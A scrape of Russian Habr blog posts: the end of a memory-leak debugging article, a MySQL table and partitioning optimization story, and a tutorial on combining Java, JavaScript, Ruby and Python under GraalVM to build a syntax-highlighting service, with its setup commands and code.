Конечно, тут не указана строка, однако уже указана функция, что не может не радовать.
Есть альтернативы valgrind’у, такие как strace или Dr.Memory, но я ими не пользовался, да и они применяется в основном там, где valgrind бессилен.
**Выводы**
Я рад, что мне довелось столкнуться с проблемой поиска утечки памяти в Visual Studio, так как я узнал много новых инструментов, когда и как ими пользоваться и начал разбирать, как работают эти инструменты.
Спасибо вам за внимания, удачного написания кода вам! | https://habr.com/ru/post/480368/ | null | ru | null |
# История одной оптимизации MySQL
Речь пойдет об оптимизации в MySQL базе данных.
Это случилось, когда мы делали систему для email рассылок. Наша система должна была высылать десятки млн. писем в день. Отправка письма — задача не из простых, хотя выглядит все довольно примитивно:
1. Собрать письмо из html креатива, подставить персонализированные данные.
2. Добавить пиксель просмотра письма, заменить все ссылки в письме на свои — чтобы отслеживать клики.
3. Проверить перед отправкой, что email не находится в black list-е.
4. Отправить письмо на определенный пул.
Расскажу подробнее о втором пункте:
Микросервис mail-builder занимается подготовкой письма к отправке:
* находит все ссылки в письме;
* для каждой ссылки генерируется уникальный 32-ух символьный uuid;
* заменяет исходную ссылку на новую и сохраняет данные в базу.
Таким образом, все исходные ссылки будут заменены на uuid-ы, а домен поменяется на наш. При GET запросе по этой ссылке мы проксируем оригинальную картинку или редиректим на исходную ссылку. Сохранение происходит в базу данных MySQL, мы сохраняем сгенерированный uuid вместе с оригинальной ссылкой и с некоторой мета информацией (email пользователя, id рассылки и другими данными). Денормализация помогает нам в 1 запрос получить все необходимые данные для сохранения статистики, или старта какой-то триггерной цепочки.
#### Проблема №1
Генерация uuid-a у нас зависела от timestamp.
Так как рассылки обычно происходят в определенный период времени и запущено много инстансов микросервиса по сборке письма, получалось, что часть uuid-ов была очень схожими. ~~Это давало низкую селективность.~~ UPD: т.к данные получались схожие, работа с би-деревом была не очень эффективная.
Решили эту проблему использованием модуля uuid в питоне, где нет зависимости от времени.
Такая неявная вещь уменьшала скорость работы индексов.
Как происходит хранение?
Структура таблицы была следующая:
```
CREATE TABLE IF NOT EXISTS `Messages` (
`UUID` varchar(32) NOT NULL,
`Message` json NOT NULL,
`Inserted` DATE NOT NULL,
PRIMARY KEY (`UUID`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
```
На момент создания все выглядело логично:
UUID — primary key, а также является кластерным индексом. Когда мы делаем выборку по этому полю, то мы просто выбираем запись, ведь все значения хранятся тут же. Это было обдуманным решением. [Подробнее о кластерном индексе.](https://habr.com/ru/post/141767/)
Все было замечательно, пока таблица не разрослась.
#### Проблема №2
Если прочитать подробнее про кластерный индекс, можно узнать о таком нюансе:
> При добавлении новой строки в таблицу, она дописывается не в конец файла, не в конец плоского списка, а в нужную ветку древовидной структуры, соответствующую ей по сортировке.
Таким образом, при росте нагрузки время вставки росло.
Решением было использовать другую структуру таблицы.
```
CREATE TABLE IF NOT EXISTS `Messages` (
`ID` int(11) NOT NULL AUTO_INCREMENT,
`UUID` varchar(32) NOT NULL,
`Message` json NOT NULL,
`Inserted` DATE NOT NULL,
PRIMARY KEY (`ID`),
UNIQUE KEY `UUID` (`UUID`, `Inserted`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
```
Так как теперь primary key автоинкрементный, а в mysql хранится кеш последнего места вставки, теперь вставка всегда происходит в конец, т.е Innodb оптимизирован под запись последовательно-возрастающих значений.
Подробности этой оптимизации я находил в [исходниках у postgres.](https://github.com/postgres/postgres/blob/master/src/backend/access/nbtree/nbtinsert.c#L129-L147) В mysql реализована очень похожая оптимизация.
Пришлось, конечно, добавить уникальный ключ, чтобы не было коллизий, но скорость вставки мы увеличили.
С еще большим ростом базы, мы задумались над тем, чтобы удалять старые данные. Использовать DELETE по полю Inserted абсолютно не оптимально — это очень долго, а также место не будет освобождено пока мы не выполним команду *optimize table*. Кстати, эта операция полностью блокирует таблицу — это нам совсем не подходило.
Поэтому мы решили разбить нашу таблицу на партиции.
1 день — 1 партиция, старые дропаются автоматически, когда приходит время.
#### Проблема №3
Мы получили возможность удалять старые данные, но мы не получили возможности выбирать из нужной партиции, т.к при select`e мы указываем только uuid, mysql не знает в какой партиции нам это искать и ищет во всех.
Решение родилось из Проблемы №1 — добавить timestamp в сгенерированный uuid. Только в этот раз мы поступили немного по-другому: вставили timestamp в случайное место строки, не в начало и не в конец; перед ним и после добавили *символ тире*, чтобы его можно было получить регулярным выражением.
С помощью этой оптимизации мы смогли получать дату, когда uuid был сгенерирован и уже сделать select с указанием конкретного значения поля Inserted. Теперь мы читаем данные сразу из нужной нам партиции.
Так же, благодаря таким вещам, как *ROW\_FORMAT=COMPRESSED* и сменой кодировки на *latin1*, мы сэкономили еще больше места на жестком диске. | https://habr.com/ru/post/451020/ | null | ru | null |
# Опыт сопряжения Java, JavaScript, Ruby и Python в одном проекте посредством GraalVM
В прошлом месяце вышла стабильная LTS-версия многоязычной среды выполнения [GraalVM 20.3.0](https://www.graalvm.org/ "Официальный сайт GraalVM") от корпорации [Oracle](https://www.oracle.com/ "Официальный сайт Oracle") и мне захотелось испробовать её для решения какой-нибудь интересной практической задачи. Для тех кто не в курсе, приведу краткое описание этой новой платформы. GraalVM позволяет использовать в едином окружении различные популярные языки программирования и обеспечивает их разностороннее взаимодействие в рамках некоторой общей среды выполнения.
*Схематическое изображение архитектуры GraalVM из официальной документации.*
Добавление новых языков в GraalVM осуществляется с помощью специального фреймворка [Truffle](https://www.graalvm.org/graalvm-as-a-platform/language-implementation-framework/ "Фреймворк Truffle, официальная документация"), выполненного в виде библиотеки Java. Фреймворк предназначен для создания реализаций языков программирования в качестве интерпретаторов для самомодифицируемых абстрактных синтаксических деревьев ([AST](https://en.wikipedia.org/wiki/Abstract_syntax_tree "Абстрактное синтаксическое дерево, страница в Wikipedia")). При желании на его основе можно создать собственный язык, в официальных репозиториях GraalVM подробно рассмотрен пример реализации такого проекта под названием [SimpleLanguage](https://github.com/graalvm/simplelanguage "Репозиторий языка программирования SimpleLanguage на основе Truffle"). Интерпретаторы, которые были написаны с использованием фреймворка Truffle, будут автоматически использовать GraalVM как JIT-компилятор непосредственно для самой реализации языка запускаемой на JVM-платформе и, соответственно, иметь возможность взаимодействия и двустороннего обмена данными в одном и том же пространстве памяти посредством специально разработанного протокола и программного интерфейса [Polyglot API](https://www.graalvm.org/reference-manual/embed-languages/ "Справка по Polyglot API из официальной документации").
Платформа GraalVM вместе с исполняемой программой на смеси самых разных языков может быть представлена в виде автономного и самодостаточного исполняемого файла, либо работать поверх OpenJDK, Node.js или даже внутри [Oracle Database](https://labs.oracle.com/pls/apex/f?p=LABS:project_details:0:15 "Проект Oracle Walnut на сайте Oracle Labs").
На текущий момент сразу «из коробки» поддерживаются следующие языки программирования и технологии:
* Java, Kotlin, Scala и другие языки [JVM-платформы](https://en.wikipedia.org/wiki/List_of_JVM_languages "Список языков JVM-платформы по материалам сайта Wikipedia").
* JavaScript вкупе с платформой [Node.js](https://nodejs.org/ "Официальный сайт платформы Node.js") и сопутствующим инструментарием.
* C, C++, Rust и другие языки, которые могут быть скомпилированы в [LLVM bitcode](https://llvm.org/docs/BitCodeFormat.html#overview "Описание LLVM bitcode из официальной документации LLVM").
Помимо этого, с помощью встроенного пакетного менеджера в дистрибутив GraalVM можно добавить поддержку:
* Python
* Ruby
* R
* WebAssembly
Стоит заметить, что реализации языков и технологий из списка выше пока являются экспериментальными и в настоящее время не рекомендуются для производственного использования. Но для моей задачи это не столь принципиально.
Кроме того, посредством [ahead-of-time](https://en.wikipedia.org/wiki/Ahead-of-time_compilation "AOT-компиляция, страница в Wikipedia") (AOT) компиляции имеется возможность создавать автономные исполняемые файлы, называемые [нативными образами](https://www.graalvm.org/reference-manual/native-image/ "Нативные образы, официальная документация"), которые используют не классическую Java VM, а более специализированную [Substrate VM](https://www.graalvm.org/reference-manual/native-image/SubstrateVM/ "Substrate VM, официальная документация"), реализующую компактную среду выполнения. В итоге программы запускаются значительно быстрее и расходуют гораздо меньше оперативной памяти. Но при этом теряются некоторые преимущества [just-in-time](https://en.wikipedia.org/wiki/Just-in-time_compilation "JIT-компиляция, страница в Wikipedia") (JIT) компиляции, доступной на классических платформах. Для формирования подобных нативных образов в большинстве случаев требуются значительные ресурсы CPU и десятки гигабайт оперативной памяти, поэтому их создание лучше всего производить на каких-нибудь мощных сборочных серверах или рабочих станциях.
Корпорация Oracle в настоящее время позиционирует GraalVM как единую и идеальную платформу для создания различных микросервисов. При этом она уже имеет влияние на развитие классического OpenJDK. Например, встраиваемый движок JavaScript под названием [Nashorn](https://en.wikipedia.org/wiki/Nashorn_(JavaScript_engine) "Nashorn (движок JavaScript), страница в Wikipedia") уже удалён из JDK 15, а в качестве его замены предлагается попробовать именно GraalVM. Неизвестно, как дальше будут развиваться события и будет ли GraalVM в будущем предлагаться в качестве рекомендуемой JVM-платформы по умолчанию, но судя по весьма активному развитию и маркетинговому продвижению в последнее время, Oracle настроен вполне серьёзно. Так что время покажет.
Для конечного использования предлагаются две редакции: бесплатная GraalVM Community и платная GraalVM Enterprise, отличия между которыми описаны на [этой страничке](https://www.graalvm.org/downloads/current-release/ "Различия между GraalVM Community и GraalVM Enterprise обозначенные на официальном сайте GraalVM") официального сайта GraalVM. В основном они сводятся к обеспечению лучшей производительности, меньшего потребления оперативной памяти и официальной поддержке от специалистов корпорации Oracle в платной версии. В этой статье я буду ориентироваться только на возможности GraalVM Community, распространяемой свободно.
Теперь, когда у вас имеется общее представление о GraalVM, перейдём к более простым сущностям и обозначим практическую задачу, которая бы неплохо ложилась на плечи возможностей этой платформы.
Содержание:
-----------
[1. Подсветка синтаксиса фрагментов кода на стороне сервера](#highlight)
[2. Создание простейшего прототипа](#prototype)
[3. Установка GraalVM и сопутствующих библиотек, запуск прототипа](#graalvm)
[4. От прототипа к готовому сервису](#service)
[5. Подведём итоги](#theend)
1. Подсветка синтаксиса фрагментов кода на стороне сервера
----------------------------------------------------------
Когда-то давно мне стало жутко интересно, какими технологиями крупные хостеры IT-проектов вроде [GitHub](https://github.com/ "GitHub, официальный сайт"), [Gitorious](https://en.wikipedia.org/wiki/Gitorious "Gitorious, страница в Wikipedia") и [Bitbucket](https://bitbucket.org/ "Bitbucket, официальный сайт") подсвечивают наш исходный код на своих серверах. Проведя некоторое исследование, я пришёл к следующим результатам:
1. Bitbucket использует библиотеку [Pygments](https://github.com/pygments/pygments "Pygments, официальный репозиторий на GitHub") на языке программирования Python.
2. GitHub использует [Albino](https://github.com/github/albino "Albino, официальный репозиторий на GitHub"), обёртку библиотеки Pygments для языка программирования Ruby.
3. Gitorious использует [Makeup](https://github.com/Gitorious-backup/makeup "Makeup, репозиторий на GitHub"), тоже по своей сути обёртку библиотеки Pygments для Ruby.
Таким образом, я пришёл к выводу, что все крупные компании использовали и активно развивали библиотеку Pygments, благодаря чему этот проект сегодня поддерживает наибольшее количество языков программирования, которые он может подсвечивать.
Шло время и недавно я решил снова перепроверить чем же сейчас пользуются крупные хостеры исходного кода. За это время Gitorious был куплен [GitLab](https://gitlab.com/ "GitLab, официальный сайт")'ом, который в итоге стал новым крупным и популярным сервисом. На сей раз получились такие результаты:
1. Bitbucket как использовал библиотеку Pygments ранее, так и продолжает её использовать.
2. GitHub отказался от использования обёртки Albino и перешёл на новую библиотеку [Linguist](https://github.com/github/linguist "Linguist, официальный репозиторий на GitHub"). Однако, Linguist только детектирует язык в исходных файлах, а сам процесс подсветки выполняется какой-то [другой библиотекой](https://stackoverflow.com/a/53709148 "Информация о другой библиотеке для подсветки синтаксиса в GitHub на ресурсе StackOverflow") с закрытым исходным кодом, принадлежащей GitHub.
3. GitLab применяет библиотеку [Rouge](https://github.com/rouge-ruby/rouge "Rouge, официальный репозиторий на GitHub") на языке программирования Ruby, свободную от использования обёрток, но сохранившую некоторую совместимость с Pygments.
Видимо аудитория этих сервисов росла и использовать обёртки, запускающие Python из-под Ruby, стало несколько накладно и дорого. Если посмотреть на [официальный сайт](http://rouge.jneen.net/ "Официальный сайт библиотеки Rouge") библиотеки Rouge, то одним из преимуществ там явно обозначают то, что теперь не требуется спавнить процессы интерпретатора Python, так как Rouge уже изначально написан на Ruby.
Особняком ещё стоит библиотека [Highlight.js](https://github.com/highlightjs/highlight.js "Highlight.js, официальный репозиторий на GitHub") на языке программирования JavaScript, получившая огромную популярность и широкое распространение на самых разнообразных сайтах и сервисах. Её применяют в основном чтобы подсвечивать код на стороне клиента, но никто не запрещает использовать эту библиотеку и для подсветки на стороне сервера.
Если бы вы писали сайт на каком-либо языке JVM-стека вкупе с каким-нибудь популярным веб-фреймворком и перед вами бы стояла задача реализовать серверную подсветку синтаксиса различных фрагментов кода, то у вас бы испортилось настроение. К большому сожалению, JVM-платформа не обзавелась такими библиотеками, как Pygments, Rouge и Highlight.js, которые поддерживают сотни языков программирования. Все известные мне [попытки портирования](https://github.com/tliron/jygments "Jygments, официальный репозиторий на GitHub") Pygments на Java на сегодня по сути заброшены и поэтому вам для выполнения этой задачи пришлось бы делать такие же обёртки над чужеродными библиотеками, которые были описаны выше.
Альтернатива видится в использовании [Jython](https://www.jython.org/ "Jython, официальный сайт"), [JRuby](https://www.jruby.org/ "JRuby, официальный сайт") или Nashorn, то бишь внешних реализаций Python, Ruby и JavaScript для платформы JVM. Но с ними не всё так гладко, как хотелось бы. Во-первых, размер вашего JAR-файла или WAR-файла и время его запуска существенно увеличится. Во-вторых, некоторые библиотеки предоставляют реализации версий языков далеко не первой свежести, например, Jython так и остался на Python 2, который уже устарел и новые версии Pygments на нём просто не работают. В-третьих, установка сторонних библиотек внутрь конечного файла для развёртывания в некоторых случаях далеко не так тривиальна и сопровождается грудой различных проблем и точек отказа.
В итоге все эти недостатки усложняют решение довольно тривиальной задачи. И именно в этот момент на сцену выходит GraalVM, который позволяет достаточно просто совмещать и склеивать между собой код и компоненты на различных языках программирования. Платформу JVM со своей кучей библиотек мы можем обогатить батарейками из экосистем других языков и использовать эксклюзивные библиотеки, альтернативы которых недоступны на нашей платформе.
Поэтому у меня появилась идея создать демонстрационный сервис с использованием GraalVM, который бы объединял в себе возможность работы различных библиотек для подсветки синтаксиса на стороне сервера. Он бы неплохо продемонстрировал готовность и удобство сопряжения нескольких языков программирования в рамках платформы GraalVM.
[*<< Перейти к содержанию*](#article-content)
2. Создание простейшего прототипа
---------------------------------
После обозначения практической задачи я приступил к созданию простейшего прототипа, который бы демонстрировал нужные мне возможности и подсвечивал скармливаемые ему фрагменты исходного кода. Я выбрал три библиотеки для использования в своём проекте:
* Highlight.js на JavaScript, поддерживает ~190 языков программирования.
* Rouge на Ruby, поддерживает ~205 языков программирования.
* Pygments на Python, поддерживает ~500 языков программирования.
Их связующим звеном я решил выбрать Java 8, хотя с таким же успехом этот выбор мог быть сделан в сторону Kotlin, Scala или Java 11.
Итак, покопавшись по официальным документациям и гайдам этих библиотек и выяснив как именно подсвечивать с их помощью код, я написал такую вот простенькую консольную программку примерно из ста строк:
**Исходный код Highlighter.java**
```
// Highlighter.java, no comments, no checks.
// $ javac Highlighter.java
// $ jar -cvfe highlighter.jar Highlighter *.class
// $ cat hello.py | java -jar highlighter.jar rouge python
import org.graalvm.polyglot.Context;
import java.io.File;
import java.io.FileNotFoundException;
import java.util.Scanner;
public class Highlighter {
private abstract class Highlight {
protected final Context polyglot =
Context.newBuilder("js", "python", "ruby").allowAllAccess(true).allowIO(true)
.build();
protected abstract String language();
protected abstract String renderHtml(String language, String rawCode);
protected String execute(String sourceCode) {
try {
return polyglot.eval(language(), sourceCode).asString();
} catch (RuntimeException re) { re.printStackTrace(); }
return sourceCode;
}
protected void importValue(String name, String value) {
try {
polyglot.getBindings(language()).putMember(name, value);
} catch (RuntimeException re) { re.printStackTrace(); }
}
}
private class Hjs extends Highlight {
@Override
protected String language() { return "js"; }
@Override
public String renderHtml(String language, String rawCode) {
importValue("source", rawCode);
String hjs = "";
try {
hjs = new Scanner(new File("highlight.min.js")).useDelimiter("\\A").next();
} catch (FileNotFoundException fnfe) { fnfe.printStackTrace(); }
final String renderLanguageSnippet =
hjs + "\n" +
"hljs.highlight('" + language + "', String(source)).value";
return execute(renderLanguageSnippet);
}
}
private class Rouge extends Highlight {
@Override
protected String language() { return "ruby"; }
@Override
public String renderHtml(String language, String rawCode) {
importValue("$source", rawCode);
final String renderLanguageSnippet =
"require 'rouge'" + "\n" +
"formatter = Rouge::Formatters::HTML.new" + "\n" +
"lexer = Rouge::Lexer::find('" + language + "')" + "\n" +
"formatter.format(lexer.lex($source.to_str))";
return execute(renderLanguageSnippet);
}
}
private class Pygments extends Highlight {
@Override
protected String language() { return "python"; }
@Override
public String renderHtml(String language, String rawCode) {
importValue("source", rawCode);
final String renderLanguageSnippet =
"import site" + "\n" +
"from pygments import highlight" + "\n" +
"from pygments.lexers import get_lexer_by_name" + "\n" +
"from pygments.formatters import HtmlFormatter" + "\n" +
"formatter = HtmlFormatter(nowrap=True)" + "\n" +
"lexer = get_lexer_by_name('" + language + "')" + "\n" +
"highlight(source, lexer, formatter)";
return execute(renderLanguageSnippet);
}
}
public String highlight(String library, String language, String code) {
switch (library) {
default:
case "hjs": return new Hjs().renderHtml(language, code);
case "rouge": return new Rouge().renderHtml(language, code);
case "pygments": return new Pygments().renderHtml(language, code);
}
}
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in).useDelimiter("\\A");
if (scanner.hasNext()) {
String code = scanner.next();
if (!code.isEmpty()) {
System.out.println(new Highlighter().highlight(args[0], args[1], code));
}
}
}
}
```
Как видно, в этом фрагменте смешаны четыре разных языка программирования. Утилита принимает на вход **stdin** в виде текста исходного файла, передаваемые аргументы определяют используемую библиотеку для подсветки и язык фрагмента, затем подсвечивается код и выводится готовый HTML на **stdout** терминала. Звучит просто и понятно, но для компиляции и запуска этой программы требуется установить GraalVM и сопутствующие пакеты нужных библиотек.
[*<< Перейти к содержанию*](#article-content)
3. Установка GraalVM и сопутствующих библиотек, запуск прототипа
----------------------------------------------------------------
Для экспериментов я выбрал сервер с ванильным [CentOS 7](https://www.centos.org "CentOS, официальный сайт дистрибутива"), на который без каких либо проблем разворачивается дистрибутив GraalVM.
Рецепт установки платформы у меня получился следующим:
```
curl -LOJ https://github.com/graalvm/graalvm-ce-builds/releases/download/vm-20.3.0/graalvm-ce-java8-linux-amd64-20.3.0.tar.gz
# curl -LOJ https://github.com/graalvm/graalvm-ce-builds/releases/download/vm-20.3.0/graalvm-ce-java11-linux-amd64-20.3.0.tar.gz
cd /opt/
sudo mkdir graalvm
sudo chown `whoami`:`whoami` graalvm
cd /opt/graalvm/
tar -xvzf ~/graalvm-ce-java8-linux-amd64-20.3.0.tar.gz
rm ~/graalvm-ce-java8-linux-amd64-20.3.0.tar.gz
```
Стоит заметить, что в настоящий момент времени GraalVM 20.3.0 поддерживает только LTS-версии Java 8 и Java 11, поэтому при создании проектов на этой платформе следует помнить об этом и пока забыть про вкусности новых версий Java и JVM-платформ. Итак, после выполнения этих команд в директории **/opt/** у вас будет развёрнут GraalVM, но в него ещё нужно добавить поддержку дополнительных компонентов.
Рецепт установки языков программирования в GraalVM и требуемых библиотек подсветки кода таков:
```
export GRAALVM_HOME=/opt/graalvm/graalvm-ce-java8-20.3.0
export JAVA_HOME=$GRAALVM_HOME
export PATH=$GRAALVM_HOME/bin:$PATH
gu install python
gu install ruby
# /opt/graalvm/graalvm-ce-java8-20.3.0/jre/languages/ruby/lib/truffle/post_install_hook.sh
graalpython -m ginstall install setuptools
curl -LOJ https://github.com/pygments/pygments/archive/2.7.3.tar.gz
tar -xvzf pygments-2.7.3.tar.gz
cd pygments-2.7.3/
graalpython setup.py install --user
cd ..
rm -Rf pygments-2.7.3/ pygments-2.7.3.tar.gz
gem install rouge
curl -LOJ https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.4.1/highlight.min.js
```
Перед использованием инструментов из дистрибутива GraalVM следует подгрузить нужные нам переменные окружения. При желании их подгрузку можно сделать при старте сервера для определённого пользователя или для всей системы сразу. Утилита **gu** является неким пакетным менеджером и предназначена для установки, удаления и обновления компонентов GraalVM. Нативные образы я не стал пересобирать, поскольку это достаточно долгий и ресурсоёмкий процесс. Он потребуется только в том случае, если вы захотите сформировать автономный исполняемый файл вашей программы. Пост-установочный скрипт после процесса инсталляции поддержки языка Ruby я тоже не стал выполнять, поскольку библиотека Rouge никак не взаимодействует с сетью и интернетом. Для использования Highlight.js достаточно просто скачать минифицированный файл библиотеки, платформа Node.js здесь никак не задействуется.
Ситуацию с Pygments следует разобрать немного подробнее. В случае с Python, его менеджер пакетов **pip** доступен лишь в виртуальном окружении **virtualenv** и для упрощения я решил отказаться от изоляции и использовать способ установки библиотеки Pygments посредством инструмента **setuptools** и загрузки исходников. Стоит заметить, что постоянные холодные вызовы интерпретатора **graalpython** довольно ресурсоёмки и на выполнение этих команд потребуется некоторое время, однако после завершения процесса требуемая библиотека будет сразу нам доступна. Кстати, установку и удаление библиотек можно производить и обычным системным **pip**, который входит в поставку дистрибутива операционной системы. В моём случае использовался CentOS 7, где по умолчанию установлен лишь Python 2, а усложнять инструкцию установкой современного Python 3 мне не хотелось, тем более раз для GraalVM доступна его собственная реализация Python.
Рецепт сборки и запуска консольной программки-прототипа из предыдущего раздела:
```
export GRAALVM_HOME=/opt/graalvm/graalvm-ce-java8-20.3.0
export JAVA_HOME=$GRAALVM_HOME
export PATH=$GRAALVM_HOME/bin:$PATH
javac Highlighter.java
jar -cvfe highlighter.jar Highlighter *.class
cat hello.py
#!/usr/bin/env python
print("Hello, World!")
cat hello.py | java -jar highlighter.jar hjs python
#!/usr/bin/env python
print("Hello, World!")
cat hello.py | java -jar highlighter.jar rouge python
#!/usr/bin/env python
print("Hello, World!")
cat hello.py | java -jar highlighter.jar pygments python
#!/usr/bin/env python
print("Hello, World!")
```
Как видно, всё прекрасно работает! Только не стоит забывать что для Highlight.js требуется положить файлик **highlight.min.js** рядом с нашей программкой. Использование внутренних ресурсов JAR-файла усложнило бы этот пример, поэтому я решил выбрать именно такой простой способ.
При желании все эти рецепты можно аккуратно завернуть в контейнеры вроде [Docker](https://www.docker.com/ "Официальный сайт Docker") или [Podman](https://podman.io/ "Официальный сайт Podman"), кому что нравится. Официальные образы от Oracle с GraalVM вполне себе доступны на том же [Docker Hub](https://hub.docker.com/r/oracle/graalvm-ce "Официальные образы GraalVM на OL7 от Oracle на Docker Hub").
[*<< Перейти к содержанию*](#article-content)
4. От прототипа к готовому сервису
----------------------------------
Имея на руках готовый прототип я решил превратить его в простенький демонстрационный сервис, представляющий собой веб-сайт с возможностью сохранения фрагментов исходного кода и выбора библиотеки для запекания подсветки синтаксиса в HTML.
Для реализации этой задачи я взял известный в Java-экосистеме фреймворк [Spring](https://spring.io/ "Официальный сайт Spring"), который в настоящее время без особых нареканий работает на GraalVM и даже обозначен на официальном сайте платформы. В качестве проксирующего веб-сервера был выбран [Nginx](https://www.nginx.com/ "Официальный сайт Nginx"), а для базы данных я использовал [PostgreSQL](https://www.postgresql.org/ "Официальный сайт PostgreSQL"). Для [front-end](https://en.wikipedia.org/wiki/Front_end_and_back_end "Front end и back end, страница в Wikipedia")'а мной был выбран несколько устаревший в современном мире, но всё ещё использующийся подход с рендерингом HTML на стороне сервера при помощи шаблонизатора [Thymeleaf](https://www.thymeleaf.org/ "Официальный сайт Thymeleaf"). В общем, я остановился на одном из самых популярных фреймворков и его сопутствующих инструментах вроде [Spring Boot 2.4.1](https://spring.io/projects/spring-boot "Официальная страница Spring Boot") или [Spring Data JPA](https://spring.io/projects/spring-data-jpa "Официальная страница Spring Data JPA"), которые сильно ускоряют разработку и сокращают рутинный код. Но при этом с GraalVM вы вольны выбирать другие и более легковесные Java-фреймворки, которые больше ориентированы на создание микросервисов. Официальный сайт рекомендует посмотреть на [Micronaut](https://micronaut.io/ "Официальный сайт Micronaut") и [Quarkus](https://quarkus.io/ "Официальный сайт Quarkus"), преимущество которых состоит в возможности более лёгкого создания нативных образов из-за меньшего потребления оперативной памяти при их формировании.
Отправку фрагментов кода на веб-сайт я стилизовал под популярный ныне на многих IT-ресурсах язык разметки [Markdown](https://en.wikipedia.org/wiki/Markdown "Язык разметки Markdown, страница в Wikipedia"):
```
```python
#!/usr/bin/env python
print("Hello, World!")
```
```
В той строке, где вы определяете язык программирования, можно разместить дополнительные опции, например, номер или диапазон строк кода, на которых нужно сфокусировать особое внимание или параметр, отключающий колонку в виде линейки с номерами строк.
*Сервис Code Polyglot с тёмной темой.*
Тёмная тема в хакерском стиле создавалась под впечатлением от интерфейса старых мобильных телефонов Motorola на P2K, вроде E398, которые оставили в моей юности приятные и тёплые воспоминания. Оболочка называлась «Techno» и выглядела следующим образом:
**Скриншоты с Motorola E398**
*Оболочка «Techno» на Motorola E398.*
Надеюсь, вы не станете меня проклинать за моё извращённое чувство прекрасного и безумные умения в вёрстке, ибо я не имею должного опыта веб-разработки. Но если всё-таки станете, то на сайте доступна более нейтральная светлая тема, простой дизайн которой я позаимствовал с похожего сервиса по обмену фрагментами кода: [paste.org.ru](http://paste.org.ru/ "Официальный сайт сервиса обмена фрагментами кода paste.org.ru"):
*Сервис Code Polyglot со светлой темой.*
Итак, прототип потихоньку начал обрастать различной функциональностью для выхода в мир, которую описывать здесь особого смысла я не вижу, всё же эта статья не о том, как быстро сделать подобный веб-сайт с помощью фреймворка Spring Boot. Расскажу лучше о тех проблемах, с которыми мне пришлось столкнуться и которые я попытался преодолеть.
Фрагменты кода на веб-сайте я решил отображать в таблицах, как это делает GitHub, но оказалось что с этим не всё так гладко. Библиотека Highlight.js, например, позиционируется разработчиком как максимально простая и поэтому принципиально не умеет оборачивать фрагменты кода в табличные строки. С другой стороны, генерируемые таблицы Pygments и Rouge слабо совместимы между собой. Поэтому мне пришлось выключать табличное отображение вообще, просто подсвечивать фрагмент кода выбранной библиотекой и построчно оборачивать его в таблицу уже на стороне Java.
Подобный подход привёл ещё к одной проблеме, которую проще всего продемонстрировать на следующем примере:
```
/*
* Многострочный комментарий!
*/
/\*
\* Многострочный комментарий!
\*/
| 1 | /\* |
| 2 | \* Многострочный комментарий! |
| 3 | \*/ |
```
Библиотеки Highlight.js и Rouge не оборачивали каждую линию кода в автономные HTML-теги, поэтому при генерации таблицы они разрывались и подсветка кода работала некорректно. Я постарался исправить эту проблему с помощью обычного стека из стандартной библиотеки структур данных в Java. Упрощённый алгоритм выглядит примерно следующим образом: проходим по строке, когда детектим открывающий тег подсветки, то кладём его на стек, а когда детектим закрывающий, то просто убираем последний элемент со стека. Если к концу строки стек не оказывается пустым, то закрываем все открытые теги в текущей строке, а в начале следующей строки открываем те теги, которые остались у нас на стеке. Решение получилось немного топорным, но вполне себе рабочим.
```
| 1 | /\* |
| 2 | \* Многострочный комментарий! |
| 3 | \*/ |
```
В итоге после обработки подобным алгоритмом пример выше приводится к удобоваримому виду, подсветка начинает работать, а сгенерированный HTML становится корректным. К слову, некоторые похожие сервисы по обмену фрагментов кода имеют схожую проблему, которая так и не решена, поэтому я отписался их владельцам и описал им этот метод исправления.
С последним препятствием я столкнулся уже на слабенькой [VPS](https://en.wikipedia.org/wiki/Virtual_private_server "Виртуальный выделенный сервер, страница в Wikipedia") от Oracle. Оказалось, что экспериментальная поддержка языка программирования Python в GraalVM вкупе с библиотекой Pygments не влазят в мои скромные 1 GB оперативной памяти на виртуальном сервере. Да и сама реализация Python показалась мне ещё несколько сыроватой и медленной, например, иногда в процессе подсветки кода кое-где теряются пробелы и переводы строк, хотя в классическом системном Python всё работает отлично. Поэтому мне пришлось поменять сервер на другой, с более мощным железом и 4 GB RAM на борту.
[*<< Перейти к содержанию*](#article-content)
5. Подведём итоги
-----------------
В целом, я получил положительный опыт работы с GraalVM и его инструментарием, достаточно быстро смог решить поставленную перед собой задачу сопряжения полезных батареек из экосистем разных языков программирования в рамках одной общей платформы. Из недостатков могу лишь отметить несколько сыроватую и медленную реализацию [Python](https://github.com/oracle/graalpython "Репозиторий реализации языка программирования Python для GraalVM на GitHub"), наверное как раз по этой причине его поддержка до сих пор является в большей степени экспериментальной. А вот с реализацией [Ruby](https://github.com/oracle/truffleruby "Репозиторий реализации языка программирования Ruby для GraalVM на GitHub"), которая тоже является экспериментальной, и с поддержкой [JavaScript](https://github.com/oracle/graaljs "Репозиторий реализации языка программирования JavaScript для GraalVM на GitHub"), который сразу входит в стандартную поставку GraalVM, я не заметил каких-либо проблем, да и работают они вполне себе быстро.
Все свои наработки, рецепты развёртывания и сборки, весь исходный код я разместил в репозитории на GitHub:
[**github.com/EXL/CodePolyglot**](https://github.com/EXL/CodePolyglot "Репозиторий сервиса Code Polyglot на GitHub")
Сам демонстрационный сервис можно потыкать палочкой по этой ссылке:
[**code.exlmoto.ru**](https://code.exlmoto.ru/ "Демонстрационный сервис Code Polyglot для обмена фрагментами исходного кода")
*Примечание: из-за наплыва посетителей после публикации статьи может случиться так, что сервер станет недоступным, всё-таки там совсем слабенький канал. Так что прошу меня заранее простить за технические неполадки. Если вам интересен этот проект, то на своих рабочих станциях с кучей оперативной памяти вы можете легко его развернуть и поиграться.*
